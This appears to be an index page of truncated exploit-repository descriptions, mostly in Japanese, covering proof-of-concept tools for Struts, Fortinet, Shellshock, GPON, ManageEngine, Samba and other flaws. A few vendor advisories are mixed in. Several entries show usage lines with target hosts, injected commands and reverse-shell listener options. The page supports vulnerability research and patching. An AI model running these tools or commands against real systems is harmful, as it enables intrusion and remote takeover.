struts-rce-cve-2017-9805

説明 CVE 2017-9805 向け Apache Struts RCE ツール オプション u: ターゲットURL; c: 脆弱なターゲット上で実行されるコマンド; f: ターゲットのリストを使用してRCEを自動チェックします（1行に1ターゲット）; p: ローカルリスナーのポートを指定します - f オプションと併用 - （デフォルト：8080） 使用方法 go run main.go -u target -c command go run main.go -f filename go run main.go -f filename -p port...

CVE-2023-27997-POC

使用方法: python3 cve-2022-42475.py rhost rport lhost 'command' 例: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 免責事項: このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。開発者は一切の責任を負わず、このツールによって引き起こされた誤用や損害についても責任を負いません。...

GPON

GPONホームルーターにおけるRCE（CVE-2018-10561） 脆弱性 現在、多くのルーターがGPONインターネットを利用しており、VPNMentorによって、デバイスのすべての認証をバイパスする方法（CVE-2018-10561 ）が発見されました。この認証バイパスにより、別のコマンドインジェクションの脆弱性（CVE-2018-10562 ）が明らかになり、デバイス上でコマンドを実行することも可能になります。 Shodanによると、執筆時点でこれらのデバイスのうち約100万台がインターネットに露出していました。 必要な依存関係 requests urllib2 テスト済み環境...

CVE-2026-87902

CVE-2026-87902 | ---|--- Advisory| GHSA-7hp8-65ch-5whp Product| WordPress = 7.1.1, fixed in 7.1.2; both versions tested Sink| wp-includes/template.php, getpagetemplate Cause| the candidate built from pagename is not passed through validatefile Actor| anonymous, no account, no cookie, no CSRF toke...

Exploit-CVE-2025-68613

Exploit-CVE-2025-68613 セキュリティ勧告: n8n における重大なリモートコード実行脆弱性 CVE-2025-68613 n8nワークフロー自動化ツールに、任意のコード実行を可能にする重大な脆弱性が確認されました。ワークフローの作成または編集権限を持つ認証済みユーザーは、この欠陥を悪用して、n8nインスタンスが稼働するシステムを制御できる可能性があります。 概要 CVE ID CVE-2025-68613 脆弱性 動的に管理されるコードリソースの不適切な制御 重大度 重大 影響 任意コマンド実行、システムの完全な侵害 根本原因...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3...

CVE-2024-55187

概要 機微な管理パラメータは十分にサニタイズされていないため、攻撃者がシステムバイナリへのパスを汚染することを可能にします。 その後、攻撃者は危険なCSVファイルをアップロードできます。これらのファイルは、PHPの exec 呼び出しによって評価されるシェルのメタ文字を含むPHARアーカイブとして扱われる可能性があり、リモートコード実行につながります。 影響 サーバー乗っ取り サービス拒否 データ損失 CVSSスコア 緊急 - 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 詳細 ファイル...

CVE-2019-12735-VIM-NEOVIM

CVE-2019-12735-VIM-NEOVIM USAGE: 前提としてmodeline機能を有効にする必要があります 一般ユーザーではmodeline機能はデフォルトで有効ですが、rootユーザーではデフォルトで無効です。 echo &modeline で有効かどうかを確認します。1が有効、0が無効です。 ない場合は、/.vimrc（ファイルがなければ作成してください）に set modeline を追加してください。 自分で書き込む場合は、エスケープ文字 x1b が非表示文字であることに注意が必要です。...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 OSコマンドインジェクション これは、motionデーモン用のWebフロントエンドである motionEye の脆弱性に対するOSコマンドインジェクションの概念実証エクスプロイトです。この脆弱性は imagefilename 設定パラメータを悪用します。このパラメータはサニタイズなしでシェルに直接渡されるため、$command サブシェル構文による任意のコマンドインジェクションが可能になります。 免責事項:...

vulnerabilities found in the SonicWall SMA1000 appliance

SonicWall has identified several vulnerabilities in the SonicWall SMA1000 appliance. These vulnerabilities include a pre-authentication Server-Side Request Forgery SSRF vulnerability, which allows unauthorized attackers to execute unauthorized internal requests. Additionally, there is a...

CVE-2026-34990

CVE-2026-34990 説明 CVE-2026-34990 - OpenPrinting CUPS バージョン 2.4.16 以前において、ローカルの非特権ユーザーが cupsd を騙して、攻撃者が制御する localhost の IPP サービスに対して、再利用可能な Authorization: Local ... トークンを用いて認証させることが可能です。このトークンは localhost 上の /admin/ リクエストを実行するのに十分であり、攻撃者は CUPS-Create-Local-Printer と printer-is-shared=true...

vim security update

An update is available for vim. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Vim Vi IMproved is an updated and improved version of the vi editor. Security...

RLSA-2026:75768 Important: vim security update

Vim Vi IMproved is an updated and improved version of the vi editor. Security Fixes: vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion CVE-2026-73073 For more details about the security issues, including the impact, a CVSS score, acknowledgments, and other related...

CVE-2025-65964

n8n Git Hooks CTF デモ ⚠️ このリポジトリは教育およびCTFデモンストレーション目的のみ です。 シナリオ 自動化プラットフォーム（例：n8n）はワークフローの一部としてGit操作を使用します。 ワークフローはgit configを介して任意のGit設定を許可します。 攻撃者が制御するワークフローは以下を設定します： core.hooksPath=hooks/ Gitはその後、リポジトリディレクトリからフックを実行します。 目的 以下を実証する： Gitフックがローカルで実行されること フックがクローンされたリポジトリ内に存在できること...

Exploit for CVE-2026-102422

CVE-2026-102422 POC Proof of concept for GHSA-pqg4-j6r4-53mv...

cve-2024-43425

CVE-2024-43425 ファームウェア情報: アプリケーション名: Moodle ビルドバージョン: moodle-4.4.1 影響を受けるバージョン: 4.4～4.4.1、4.3～4.3.5、4.2～4.2.8、4.1～4.1.11、およびそれ以前のサポートされていないバージョン ダウンロードリンク: moodle-4.4.1 説明と影響 Moodleのコース内で問題を作成または修正する権限を持つ攻撃者は、計算問題に対して悪意のある入力を生成でき、基盤となるシステム上で任意のコマンドを実行するために悪用される可能性があります。 根本原因...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 および CVE-2024-9474 管理Webインターフェースにおける認証バイパス PAN-SA-2024-0015 および Palo Alto PAN-OS における認証済みコマンドインジェクション 技術詳細については、ブログ記事をご覧ください 影響を受けるバージョン TBD エクスプロイト作成者 このエクスプロイトは、watchTowr @watchtowrcyber の Sonny によって作成されました。 watchTowr Labs をフォロー 最新のセキュリティ研究については、watchTowr Labs チームをフォローしてください...

CVE-2023-29084

CVE-2023-29084 ManageEngine ADManager Plus におけるコマンドインジェクション Poc POST /api/json/admin/saveServerSettings HTTP/1.1 Host: 10.10.10.99:8080 Content-Length: 183 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

cve-2024-10220-test

CVE-2024-10220 テストリポジトリ このリポジトリは、セントラルオクラホマ大学のHPCセキュリティ研究の一環として、CVE-2024-10220（Kubernetes gitRepoボリュームの脆弱性）をテストするために使用されます。 警告: このリポジトリには、管理されたセキュリティテスト用の悪意のあるGitフックが含まれています。本番環境では使用しないでください。 脆弱性の詳細 CVE: CVE-2024-10220 コンポーネント: Kubernetes kubelet gitRepoボリューム 影響: Kubernetesノード上での任意のコマンド実行 重大度: HI...

Samba-Exploit-CVE-2007-2447

🎬 このYouTube動画 1️⃣ ターゲットのスキャン Nmap nmap -sS -sV -p 139,445 192.168.56.102 期待される結果: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba バージョン: 3.0.20 これは CVE-2007-2447 に対して脆弱です。 2️⃣ Sambaエクスプロイトの特定 searchsploit samba 3.0.20 結果: Samba 3.0.20 - 'Username'...